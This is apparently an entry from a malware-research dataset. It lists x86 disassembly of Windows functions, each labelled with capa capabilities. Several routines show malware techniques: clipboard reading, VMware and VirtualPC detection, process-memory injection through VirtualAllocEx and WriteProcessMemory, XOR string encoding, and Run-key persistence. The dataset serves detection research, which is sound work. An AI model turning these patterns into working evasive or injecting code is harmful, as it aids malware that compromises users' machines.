joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40826a
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push ebx
push esi
push edi
mov esi, eax
push dword [esi + 0x108]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40844a
push 2
call dword [sym.imp.USER32.dll_GetClipboardData]
xor ebx, ebx
cmp eax, ebx
mov dword [ebp - 0x34], eax
je 0x408428
push 0x104
lea eax, [ebp - 0x14f]
push ebx
push eax
mov byte [ebp - 0x150], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x3ff
lea eax, [ebp - 0x54f]
push ebx
push eax
mov byte [ebp - 0x550], bl
call sub.msvcrt.dll_memset
add esp, 0xc
mov ebx, 0x12d
mov dword [ebp - 0x30], 0x676e70
call fcn.0040456d
inc ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], str..png
call fcn.0040456d
mov ebx, 0x12f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], str..bmp
call fcn.0040456d
inc ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], str..tiff
call fcn.0040456d
mov ebx, 0x131
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], str..gif
call fcn.0040456d
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x2c]
push 5
push eax
lea ebx, [ebp - 0x550]
mov dword [ebp - 8], str..jpg
call fcn.00403f33
pop ecx
pop ecx
push 0xa
pop ebx
call fcn.0040456d
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [esi + 0x108]
push eax
lea eax, [ebp - 0x550]
push eax
xor ebx, ebx
lea edi, [ebp - 0x150]
call fcn.00403d8d
add esp, 0xc
test eax, eax
je 0x408420
xor edi, edi
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.00402f98
cmp dword [ebp - 0x28], edi
je 0x4083ca
push edi
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
call dword [ebp - 0x28]
jmp 0x4083cd
xor eax, eax
inc eax
cmp eax, edi
jne 0x408418
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.0040305b
test eax, eax
jne 0x408405
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040324d
push dword [ebp - 4]
lea eax, [ebp - 0x2c]
call fcn.0040307f
lea esi, [ebp - 0x2c]
call fcn.00402f98
cmp dword [ebp - 0x24], edi
je 0x408418
push dword [ebp - 8]
call dword [ebp - 0x24]
lea esi, [ebp - 0x2c]
call fcn.00402f67
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x40844a
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0xb
pop ebx
call fcn.0040456d
push 0x40
push 0x40c3e4
push eax
push dword [esi + 0x108]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409bc8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x36c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
add esi, 0x2c
call fcn.00409ee5
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push 0x124
mov dword [esp + 0x14], eax
lea eax, [esp + 0x258]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x250]
push eax
push dword [esp + 0x14]
mov dword [esp + 0x258], 0x128
call sub.KERNEL32.DLL_Process32First
jmp 0x409dec
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x268]
mov esi, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
push ebx
push 0x410
mov byte [esp + 0x28], bl
mov dword [esp + 0x134], ebx
mov dword [esp + 0x138], ebx
mov dword [esp + 0x13c], ebx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], ebx
mov dword [esp + 0x148], ebx
mov dword [esp + 0x14c], ebx
mov dword [esp + 0x150], ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x130], ecx
call esi
cmp eax, ebx
mov dword [esp + 0xc], eax
jne 0x409cba
call fcn.004038af
cmp dword [eax + 4], 5
jbe 0x409d98
push dword [esp + 0x18]
push ebx
push 0x1000
call esi
cmp eax, ebx
mov dword [esp + 0xc], eax
je 0x409d98
mov esi, 0x104
push esi
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x148]
push eax
push dword [esp + 0x10]
mov eax, dword [ebp + 8]
call fcn.00409e18
cmp byte [esp + 0x148], bl
je 0x409cff
cmp byte [esp + 0x148], 0x3f
jne 0x409d52
cmp dword [0x40ff48], ebx
mov dword [esp + 0x14], esi
jne 0x409d35
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp eax, ebx
je 0x409d35
push str.QueryFullProcessImageNameA
push eax
mov dword [0x40ff48], 1
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40ff4c], eax
mov eax, dword [0x40ff4c]
cmp eax, ebx
je 0x409d52
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14c]
push ecx
push ebx
push dword [esp + 0x18]
call eax
lea esi, [esp + 0x148]
lea edi, [esp + 0x1c]
call fcn.004097d9
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0x13c]
push eax
lea eax, [esp + 0x138]
push eax
lea eax, [esp + 0x134]
push eax
push dword [esp + 0x1c]
call fcn.00409b09
add esp, 0x14
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x38]
add edi, 0x2c
cmp esi, ebx
jl 0x409dec
cmp esi, 0xffffffff
mov eax, dword [edi + 8]
jne 0x409db6
push dword [edi]
call sub.msvcrt.dll_free
jmp 0x409dc7
push eax
push 0x130
lea eax, [edi + 4]
mov edx, esi
call fcn.00403725
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [esi + 1]
cmp dword [ecx + 0x38], eax
jge 0x409dd6
mov dword [ecx + 0x38], eax
mov edi, esi
imul edi, edi, 0x130
lea eax, [ecx + 0x2c]
add edi, dword [eax]
push 0x4c
pop ecx
lea esi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x250]
push eax
push dword [esp + 0x14]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x409c27
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x409e40
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [esi], 0
jne 0x409ea2
push edi
push str.psapi.dll
call fcn.00403feb
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp], str.GetModuleBaseNameA
push eax
mov dword [esi], eax
call edi
push str.EnumProcessModules
push dword [esi]
mov dword [esi + 4], eax
call edi
push str.EnumProcessModulesEx
push dword [esi]
mov dword [esi + 8], eax
call edi
push str.GetModuleFileNameExA
push dword [esi]
mov dword [esi + 0xc], eax
call edi
push str.EnumProcesses
push dword [esi]
mov dword [esi + 0x14], eax
call edi
push str.GetModuleInformation
push dword [esi]
mov dword [esi + 0x18], eax
call edi
mov dword [esi + 0x10], eax
pop edi
ret
Function at 0x40a339
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040b070
xor eax, eax
cmp dword [ebp + 8], eax
push ebx
push esi
mov byte [ebp - 0x2004], al
je 0x40a390
push 0x2000
push eax
lea eax, [ebp - 0x2003]
push eax
call sub.msvcrt.dll_memset
push dword [edi]
lea ebx, [ebp - 0x2004]
push dword [ebp + 0x14]
call fcn.00403e41
add esp, 0x14
push dword [ebp + 0x18]
mov eax, ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
mov esi, eax
jmp 0x40a3db
mov esi, 0x2000
push esi
push eax
lea eax, [ebp - 0x2003]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push dword [ebp + 0x18]
lea eax, [ebp - 0x2004]
push esi
push eax
push 0x40c3f4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push dword [ebp + 0x14]
xor ecx, ecx
cmp ecx, eax
sbb esi, esi
push edi
lea ebx, [ebp - 0x2004]
neg esi
call fcn.00403ebc
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40a3e1
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push dword [ebp + 0x18]
je 0x40a3ff
push dword [esi]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040a2ed
add esp, 0x10
pop ebp
ret
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [esi], eax
pop ebp
ret
Function at 0x40ae1e
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x40c3c0
call fcn.0040b008
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40ae5b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ae5b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40ae73
cmp eax, 0x20b
je 0x40ae60
mov dword [ebp - 0x1c], ebx
jmp 0x40ae87
cmp dword [ecx + 0x84], 0xe
jbe 0x40ae5b
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x40ae81
cmp dword [ecx + 0x74], 0xe
jbe 0x40ae5b
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x40ff68], 0xffffffff
or dword [0x40ff6c], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x40f21c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x40f218]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ff64], eax
call fcn.00405bd1
cmp dword [section..data], ebx
jne 0x40aee2
push fcn.00405bd1
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0040aff6
push 0x40c390
push 0x40c38c
call sub.msvcrt.dll__initterm
mov eax, dword [0x40f214]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x40f210]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x40c388
push 0x40c370
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x40af78
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x40af4c
cmp al, 0x22
jne 0x40af3e
cmp byte [esi], 0x22
jne 0x40af55
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x40af5f
cmp al, 0x20
jbe 0x40af51
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x40af83
movzx eax, word [ebp - 0x48]
jmp 0x40af86
cmp byte [esi], 0x20
jbe 0x40af55
inc esi
mov dword [ebp - 0x34], esi
jmp 0x40af78
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x40afa3
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x40afd8
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040b041
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x463008], 0x8088405
inc edx
mov dword [ebx + 0x463008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cd64
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cd95
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd7d
add dl, dl
jne 0x41cda0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cdf1
xor eax, eax
add dl, dl
jne 0x41cdad
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ce8e
add dl, dl
jne 0x41cdbc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdc7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdd2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cddd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cde7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cd8c
mov eax, 1
add dl, dl
jne 0x41cdff
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ce0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cdf6
sub eax, ebx
mov ebx, 1
jne 0x41ce3d
mov ecx, 1
add dl, dl
jne 0x41ce23
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce2e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce1a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41ce54
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce5f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce4b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41ceaf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cd8c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e5a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44aa63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e655
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e63e
test esi, esi
jbe 0x41e655
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088e4
test eax, eax
jne 0x41e630
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e655
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e60d
jmp 0x41e655
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e655
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44aa6a
ret
Function at 0x41eec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x44b473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eeff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41ef18
lea eax, [ebp - 0x10]
mov edx, dword [0x4652a4]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41ef2b
lea eax, [ebp - 0x10]
mov edx, dword [0x4652a4]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41ef37
adc edx, 0
mov edx, dword [edx*4 + 0x46410c]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f045
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f038
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f038
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f038
cmp dx, 0x150
ja 0x41f038
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f038
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f05d
inc ebx
cmp ebx, 0x19
jne 0x41eef1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b47a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x4040f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x4037bc]
call fcn.0040242c
xor eax, eax
push ebp
push 0x404205
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
test ebx, ebx
je 0x40418d
push 0x8000
push 0
push ebx
call sub.KERNEL32.DLL_VirtualFree
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x404199
cmp esi, 0x30000000
jbe 0x404142
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00403ec0
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4041e9
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x4040cc
mov eax, dword [ebp - 4]
call fcn.004038ac
test eax, eax
je 0x4041e9
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40420c
lea eax, [ebp - 0x2c]
mov edx, dword [0x4037bc]
call fcn.004024f0
ret

Function at 0x4042dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401f38
xor eax, eax
push ebp
push 0x40434b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00401d50
mov esi, eax
test esi, esi
jle 0x40432b
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00401f9c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x404311
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00401b14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404352
lea eax, [ebp - 4]
call fcn.00401ac0
ret

Function at 0x405124
Capabilities:
Reference the vmware io port

Disassembly:
xor eax, eax
push 0x40514c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x564d5868
mov ebx, 0x3c6cf712
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov eax, 1
jmp 0x40515f
xor ebx, ebx
pop dword fs:[ebx]
add esp, 4
ret

Function at 0x405168
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x4051b2
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid
Function at 0x405a28
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401f38
xor eax, eax
push ebp
push 0x405ac7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00405d04
test al, al
je 0x405ab1
xor eax, eax
push ebp
push 0x405aa7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00401f48
mov esi, eax
push esi
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.KERNEL32.DLL_SetFileAttributesA
push esi
call sub.KERNEL32.DLL_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405ab1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ace
lea eax, [ebp - 4]
call fcn.00401ac0
ret

Function at 0x405b30
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405b90
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x405ba8
call fcn.00401b58
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00401b58
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.00406088
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b97
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
ret

Function at 0x405c4c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00401f38
mov eax, dword [ebp - 8]
call fcn.00401f38
mov eax, dword [ebp + 8]
call fcn.00401f38
xor eax, eax
push ebp
push 0x405cf1
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00401f48
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.00401d50
push eax
mov eax, dword [ebp + 8]
call fcn.00401f48
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00401f48
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x405cc5
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405cf8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
lea eax, [ebp + 8]
call fcn.00401ac0
ret